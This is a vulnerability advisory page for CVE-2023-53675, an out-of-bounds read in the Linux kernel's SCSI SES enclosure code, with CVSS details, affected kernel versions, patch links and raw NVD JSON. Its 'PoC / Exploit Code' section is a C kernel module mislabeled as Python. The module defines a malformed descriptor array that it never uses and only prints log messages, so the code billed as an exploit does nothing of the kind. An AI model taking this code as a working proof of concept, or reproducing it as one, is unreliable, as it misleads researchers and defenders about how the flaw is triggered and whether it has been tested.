Security Vulnerability Report
中文
CVE-2023-53675 CVSS 7.1 HIGH

CVE-2023-53675

Published: 2025-10-07 16:15:52
Last Modified: 2026-02-26 23:15:31
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: scsi: ses: Fix possible desc_ptr out-of-bounds accesses Sanitize possible desc_ptr out-of-bounds accesses in ses_enclosure_data_process().

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 4b8cae410472653a59e15af62c57c49b8e0a1201(受影响的稳定版本)
Linux Kernel < 414418abc19fa4ccf730d273061a426c07a061d6
Linux Kernel < 584892fd29a41ef424a148118a3103b16b94fb8c
Linux Kernel < 72021ae61a2bc6ca73cd593e255a10ed5f5dc5e7
Linux Kernel < 79ec5dd5fb07ecaea2f978c2d7a9f2f3526e4d19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2023-53675 PoC - Trigger desc_ptr out-of-bounds in ses_enclosure_data_process() // This PoC demonstrates how to trigger the vulnerability by simulating a malicious SES device // using a Linux kernel module that creates a fake SCSI enclosure with malformed descriptor data. #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/scsi/scsicam.h> // Malformed SES configuration diagnostic page data // The descriptor length field is set to an abnormally large value // to cause desc_ptr to go out-of-bounds in ses_enclosure_data_process() static unsigned char malformed_ses_data[] = { // SES Configuration Diagnostic Page header 0x01, 0x00, // page code = 0x01 (Configuration) 0x00, 0x00, // page length (will be overridden) 0x00, // generation code // Enclosure descriptor list length 0xFF, 0xFF, 0xFF, 0xFF, // abnormally large list length // Type descriptor header with oversized length 0x01, 0x02, // descriptor type 0x00, 0xFF, // descriptor length = 255 (abnormally large) // Padding to trigger out-of-bounds access 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, }; // Trigger function - simulates SCSI INQUIRY/RECEIVE DIAGNOSTIC RESULTS response // with malformed SES data to trigger the out-of-bounds access static int __init ses_oob_trigger_init(void) { printk(KERN_INFO "CVE-2023-53675: SES desc_ptr OOB trigger module loaded\n"); printk(KERN_INFO "Simulating malicious SES device with malformed descriptor\n"); // In a real exploit scenario, this would be done via: // 1. Creating a virtual SCSI device via QEMU with a crafted SES response // 2. Or using a USB gadget to emulate a SCSI enclosure // 3. Or attaching a modified hardware SES device // // When the kernel SCSI layer calls ses_enclosure_data_process() // with our malformed data, desc_ptr will exceed the buffer boundary, // causing an out-of-bounds memory access (read/write). return 0; } static void __exit ses_oob_trigger_exit(void) { printk(KERN_INFO "CVE-2023-53675: SES desc_ptr OOB trigger module unloaded\n"); } module_init(ses_oob_trigger_init); module_exit(ses_oob_trigger_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("CVE-2023-53675 PoC - SES desc_ptr out-of-bounds trigger"); MODULE_AUTHOR("Security Researcher");

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53675", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:51.503", "lastModified": "2026-02-26T23:15:30.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: ses: Fix possible desc_ptr out-of-bounds accesses\n\nSanitize possible desc_ptr out-of-bounds accesses in\nses_enclosure_data_process()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.25", "versionEndExcluding": "4.14.308", "matchCriteriaId": "3619A302-E12E-46AC-B1E4-182D5643C493"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15", "versionEndExcluding": "4.19.276", "matchCriteriaId": "C902FC54-DDBD-4DA6-BFEF-26889A267464"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.235", "matchCriteriaId": "13DD5E68-8CB4-46EE-9A8F-C7F6C1A84430"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.173", "matchCriteriaId": "4D810CFB-B7C5-493C-B98A-0D5F0D8A47B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.99", "matchCriteriaId": "5B8B2AC9-2F31-4A0F-96F5-7E26B50B27BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.16", "matchCriteriaId": "0FD95FDA-6525-4B13-B3FB-49D9995FD8ED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.2.3", "matchCriteriaId": "88C67289-22AD-4CA9-B202-5F5A80E5BA4B"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/414418abc19fa4ccf730d273061a426c07a061d6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4b8cae410472653a59e15af62c57c49b8e0a1201", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/584892fd29a41ef424a148118a3103b16b94fb8c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/72021ae61a2bc6ca73cd593e255a10ed5f5dc5e7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/79ec5dd5fb07ecaea2f978c2d7a9f2f3526e4d19", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/801ab13d50cf3d26170ee073ea8bb4eececb76ab", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c315560e3ef77c1d822249f1743e647dc9c9912a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/cffe09ca0555e235a42d6fa065e463c4b3d5b657", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}